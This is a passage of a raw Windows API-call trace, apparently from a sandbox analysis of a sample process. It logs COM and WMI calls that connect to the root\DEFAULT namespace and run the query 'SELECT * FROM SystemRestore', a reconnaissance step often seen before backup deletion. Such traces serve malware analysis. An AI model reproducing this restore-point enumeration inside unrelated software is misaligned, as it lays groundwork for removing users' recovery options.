WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9c360 | out: ppvObject=0x1db9c360*=0x0) returned 0x80004002 [0187.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9c350 | out: ppvObject=0x1db9c350*=0x1b28dc60) returned 0x0 [0187.426] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b28dc60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1db9c378 | out: pCid=0x1db9c378*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0187.426] WbemDefPath:IUnknown:Release (This=0x1b28dc60) returned 0x3 [0187.426] CoGetContextToken (in: pToken=0x1db9c400 | out: pToken=0x1db9c400) returned 0x0 [0187.429] CoGetContextToken (in: pToken=0x1db9c880 | out: pToken=0x1db9c880) returned 0x0 [0187.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9c940 | out: ppvObject=0x1db9c940*=0x0) returned 0x80004002 [0187.429] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x2 [0187.429] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x1 [0187.429] CoGetContextToken (in: pToken=0x1db9d670 | out: pToken=0x1db9d670) returned 0x0 [0187.429] CoGetContextToken (in: pToken=0x1db9d570 | out: pToken=0x1db9d570) returned 0x0 [0187.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x1db9d6d0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1db9d6a0 | out: ppvObject=0x1db9d6a0*=0x1b292ea0) returned 0x0 [0187.429] WbemDefPath:IUnknown:AddRef (This=0x1b292ea0) returned 0x3 [0187.429] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x2 [0187.429] WbemDefPath:IWbemPath:SetText (This=0x1b292ea0, uMode=0x4, pszPath="root\\DEFAULT") returned 0x0 [0187.429] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b292ea0, puCount=0x1db9da58 | out: puCount=0x1db9da58*=0x2) returned 0x0 [0187.430] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=4, puBuffLength=0x1db9da50*=0x0, pszText=0x0 | out: puBuffLength=0x1db9da50*=0x11, pszText=0x0) returned 0x0 [0187.430] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=4, puBuffLength=0x1db9da50*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1db9da50*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0187.430] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b292ea0, puCount=0x1db9da68 | out: puCount=0x1db9da68*=0x2) returned 0x0 [0187.430] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=4, puBuffLength=0x1db9da60*=0x0, pszText=0x0 | out: puBuffLength=0x1db9da60*=0x11, pszText=0x0) returned 0x0 [0187.430] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=4, puBuffLength=0x1db9da60*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1db9da60*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0187.430] CoGetObjectContext (in: riid=0x2356978*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1db9d9e8 | out: ppv=0x1db9d9e8*=0x77dd58) returned 0x0 [0187.430] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1db9d9d8 | out: pAptType=0x1db9d9d8*=1) returned 0x0 [0187.430] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2356958*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1db9d9e0 | out: ppvObject=0x1db9d9e0*=0x0) returned 0x80004002 [0187.430] IUnknown:Release (This=0x77dd58) returned 0x0 [0187.431] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1db9d0a8 | out: ppv=0x1db9d0a8*=0x1b28e860) returned 0x0 [0187.431] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e860, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9d190 | out: ppvObject=0x1db9d190*=0x0) returned 0x80004002 [0187.431] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b28e860, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d168 | out: ppvObject=0x1db9d168*=0x1b28e360) returned 0x0 [0187.432] WbemLocator:IUnknown:Release (This=0x1b28e860) returned 0x0 [0187.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cf10 | out: ppvObject=0x1db9cf10*=0x1b28e360) returned 0x0 [0187.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9cfa0 | out: ppvObject=0x1db9cfa0*=0x0) returned 0x80004002 [0187.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9c798 | out: ppvObject=0x1db9c798*=0x0) returned 0x80004002 [0187.432] WbemLocator:IUnknown:AddRef (This=0x1b28e360) returned 0x3 [0187.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9c658 | out: ppvObject=0x1db9c658*=0x0) returned 0x80004002 [0187.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9c5e0 | out: ppvObject=0x1db9c5e0*=0x0) returned 0x80004002 [0187.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9c5d0 | out: ppvObject=0x1db9c5d0*=0x0) returned 0x80004002 [0187.432] CoGetContextToken (in: pToken=0x1db9c680 | out: pToken=0x1db9c680) returned 0x0 [0187.432] CoGetObjectContext (in: riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b280078 | out: ppv=0x1b280078*=0x77dd40) returned 0x0 [0187.432] CoGetContextToken (in: pToken=0x1db9cb00 | out: pToken=0x1db9cb00) returned 0x0 [0187.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cbc0 | out: ppvObject=0x1db9cbc0*=0x0) returned 0x80004002 [0187.432] WbemLocator:IUnknown:Release (This=0x1b28e360) returned 0x2 [0187.433] WbemLocator:IUnknown:Release (This=0x1b28e360) returned 0x1 [0187.433] CoGetContextToken (in: pToken=0x1db9d540 | out: pToken=0x1db9d540) returned 0x0 [0187.433] CoGetContextToken (in: pToken=0x1db9d440 | out: pToken=0x1db9d440) returned 0x0 [0187.433] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e360, riid=0x1db9d5a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1db9d570 | out: ppvObject=0x1db9d570*=0x1b28e360) returned 0x0 [0187.433] WbemLocator:IUnknown:AddRef (This=0x1b28e360) returned 0x3 [0187.433] WbemLocator:IUnknown:Release (This=0x1b28e360) returned 0x2 [0187.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b292ea0, puCount=0x1db9d978 | out: puCount=0x1db9d978*=0x2) returned 0x0 [0187.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=8, puBuffLength=0x1db9d970*=0x0, pszText=0x0 | out: puBuffLength=0x1db9d970*=0x11, pszText=0x0) returned 0x0 [0187.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=8, puBuffLength=0x1db9d970*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1db9d970*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0187.433] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1db9d6c0 | out: ppv=0x1db9d6c0*=0x1b28e600) returned 0x0 [0187.433] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b28e600, strNetworkResource="\\\\.\\root\\DEFAULT", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1db9d838 | out: ppNamespace=0x1db9d838*=0x1b217690) returned 0x0 [0187.611] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d538 | out: ppvObject=0x1db9d538*=0x1b202650) returned 0x0 [0187.612] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202650, pProxy=0x1b217690, pAuthnSvc=0x1db9d600, pAuthzSvc=0x1db9d580, pServerPrincName=0x1db9d5a8, pAuthnLevel=0x1db9d584, pImpLevel=0x1db9d590, pAuthInfo=0x1db9d5b8, pCapabilites=0x1db9d594 | out: pAuthnSvc=0x1db9d600*=0xa, pAuthzSvc=0x1db9d580*=0x0, pServerPrincName=0x1db9d5a8, pAuthnLevel=0x1db9d584*=0x6, pImpLevel=0x1db9d590*=0x2, pAuthInfo=0x1db9d5b8, pCapabilites=0x1db9d594*=0x1) returned 0x0 [0187.612] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x1 [0187.612] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d4d0 | out: ppvObject=0x1db9d4d0*=0x1b202698) returned 0x0 [0187.612] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d4e0 | out: ppvObject=0x1db9d4e0*=0x1b202650) returned 0x0 [0187.612] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202650, pProxy=0x1b217690, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0187.613] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x2 [0187.613] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0187.613] CoTaskMemFree (pv=0x1b280100) [0187.613] WbemLocator:IUnknown:Release (This=0x1b28e600) returned 0x0 [0187.613] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cfd0 | out: ppvObject=0x1db9cfd0*=0x1b202698) returned 0x0 [0187.613] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9d060 | out: ppvObject=0x1db9d060*=0x0) returned 0x80004002 [0187.614] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9cc80 | out: ppvObject=0x1db9cc80*=0x0) returned 0x80004002 [0187.614] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9c858 | out: ppvObject=0x1db9c858*=0x0) returned 0x80004002 [0187.615] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0187.615] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9c718 | out: ppvObject=0x1db9c718*=0x0) returned 0x80004002 [0187.615] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9c6a0 | out: ppvObject=0x1db9c6a0*=0x0) returned 0x80004002 [0187.615] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9c690 | out: ppvObject=0x1db9c690*=0x1b202578) returned 0x0 [0187.615] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202578, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1db9c6b8 | out: pCid=0x1db9c6b8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0187.615] WbemLocator:IUnknown:Release (This=0x1b202578) returned 0x3 [0187.615] CoGetContextToken (in: pToken=0x1db9c740 | out: pToken=0x1db9c740) returned 0x0 [0187.615] CoGetContextToken (in: pToken=0x1db9cbc0 | out: pToken=0x1db9cbc0) returned 0x0 [0187.615] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cc80 | out: ppvObject=0x1db9cc80*=0x1b202660) returned 0x0 [0187.615] WbemLocator:IRpcOptions:Query (in: This=0x1b202660, pPrx=0x1b202698, dwProperty=2, pdwValue=0x1db9cc70 | out: pdwValue=0x1db9cc70) returned 0x80004002 [0187.615] WbemLocator:IUnknown:Release (This=0x1b202660) returned 0x3 [0187.615] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0187.615] CoGetContextToken (in: pToken=0x1db9d280 | out: pToken=0x1db9d280) returned 0x0 [0187.615] CoGetContextToken (in: pToken=0x1db9d180 | out: pToken=0x1db9d180) returned 0x0 [0187.615] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x1db9d2e0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1db9d2b0 | out: ppvObject=0x1db9d2b0*=0x1b217690) returned 0x0 [0187.616] WbemLocator:IUnknown:AddRef (This=0x1b217690) returned 0x4 [0187.616] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x3 [0187.616] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x2 [0187.616] SysStringLen (param_1=0x0) returned 0x0 [0187.616] CoGetContextToken (in: pToken=0x1db9d3b0 | out: pToken=0x1db9d3b0) returned 0x0 [0187.616] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0187.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d3b0 | out: ppvObject=0x1db9d3b0*=0x1b202698) returned 0x0 [0187.616] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x3 [0187.616] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0187.616] CoGetContextToken (in: pToken=0x1db9d4f0 | out: pToken=0x1db9d4f0) returned 0x0 [0187.616] WbemLocator:IUnknown:AddRef (This=0x1b217690) returned 0x3 [0187.616] IWbemServices:ExecQuery (in: This=0x1b217690, strQueryLanguage="WQL", strQuery="SELECT * FROM SystemRestore", lFlags=16, pCtx=0x0, ppEnum=0x1db9d988 | out: ppEnum=0x1db9d988*=0x1b286080) returned 0x0 [0187.620] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d668 | out: ppvObject=0x1db9d668*=0x1b286088) returned 0x0 [0187.620] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1db9d730, pAuthzSvc=0x1db9d6b0, pServerPrincName=0x1db9d6d8, pAuthnLevel=0x1db9d6b4, pImpLevel=0x1db9d6c0, pAuthInfo=0x1db9d6e8, pCapabilites=0x1db9d6c4 | out: pAuthnSvc=0x1db9d730*=0xa, pAuthzSvc=0x1db9d6b0*=0x0, pServerPrincName=0x1db9d6d8, pAuthnLevel=0x1db9d6b4*=0x6, pImpLevel=0x1db9d6c0*=0x2, pAuthInfo=0x1db9d6e8, pCapabilites=0x1db9d6c4*=0x1) returned 0x0 [0187.620] IUnknown:Release (This=0x1b286088) returned 0x1 [0187.620] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d600 | out: ppvObject=0x1db9d600*=0x1b202358) returned 0x0 [0187.620] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d610 | out: ppvObject=0x1db9d610*=0x1b286088) returned 0x0 [0187.620] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0187.651] IUnknown:Release (This=0x1b286088) returned 0x2 [0187.651] WbemLocator:IUnknown:Release (This=0x1b202358) returned 0x1 [0187.651] CoTaskMemFree (pv=0x1b2805e0) [0187.652] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d0d0 | out: ppvObject=0x1db9d0d0*=0x1b202358) returned 0x0 [0187.652] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9d160 | out: ppvObject=0x1db9d160*=0x0) returned 0x80004002 [0187.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9cd80 | out: ppvObject=0x1db9cd80*=0x0) returned 0x80004002 [0187.840] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9c958 | out: ppvObject=0x1db9c958*=0x0) returned 0x80004002 [0187.841] WbemLocator:IUnknown:AddRef (This=0x1b202358) returned 0x3 [0187.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9c818 | out: ppvObject=0x1db9c818*=0x0) returned 0x80004002 [0187.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9c7a0 | out: ppvObject=0x1db9c7a0*=0x0) returned 0x80004002 [0187.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9c790 | out: ppvObject=0x1db9c790*=0x1b202238) returned 0x0 [0187.841] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202238, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1db9c7b8 | out: pCid=0x1db9c7b8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0187.841] WbemLocator:IUnknown:Release (This=0x1b202238) returned 0x3 [0187.841] CoGetContextToken (in: pToken=0x1db9c840 | out: pToken=0x1db9c840) returned 0x0 [0187.841] CoGetContextToken (in: pToken=0x1db9ccc0 | out: pToken=0x1db9ccc0) returned 0x0 [0187.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cd80 | out: ppvObject=0x1db9cd80*=0x1b202320) returned 0x0 [0187.842] WbemLocator:IRpcOptions:Query (in: This=0x1b202320, pPrx=0x1b202358, dwProperty=2, pdwValue=0x1db9cd70 | out: pdwValue=0x1db9cd70) returned 0x80004002 [0187.842] WbemLocator:IUnknown:Release (This=0x1b202320) returned 0x3 [0187.842] WbemLocator:IUnknown:Release (This=0x1b202358) returned 0x2 [0187.842] CoGetContextToken (in: pToken=0x1db9d380 | out: pToken=0x1db9d380) returned 0x0 [0187.842] CoGetContextToken (in: pToken=0x1db9d280 | out: pToken=0x1db9d280) returned 0x0 [0187.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x1db9d3e0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1db9d3b0 | out: ppvObject=0x1db9d3b0*=0x1b286080) returned 0x0 [0187.842] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0187.842] IUnknown:Release (This=0x1b286080) returned 0x3 [0187.842] IUnknown:Release (This=0x1b286080) returned 0x2 [0187.842] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x2 [0187.843] SysStringLen (param_1=0x0) returned 0x0 [0187.843] WbemDefPath:IWbemPath:GetNamespaceCount (in: 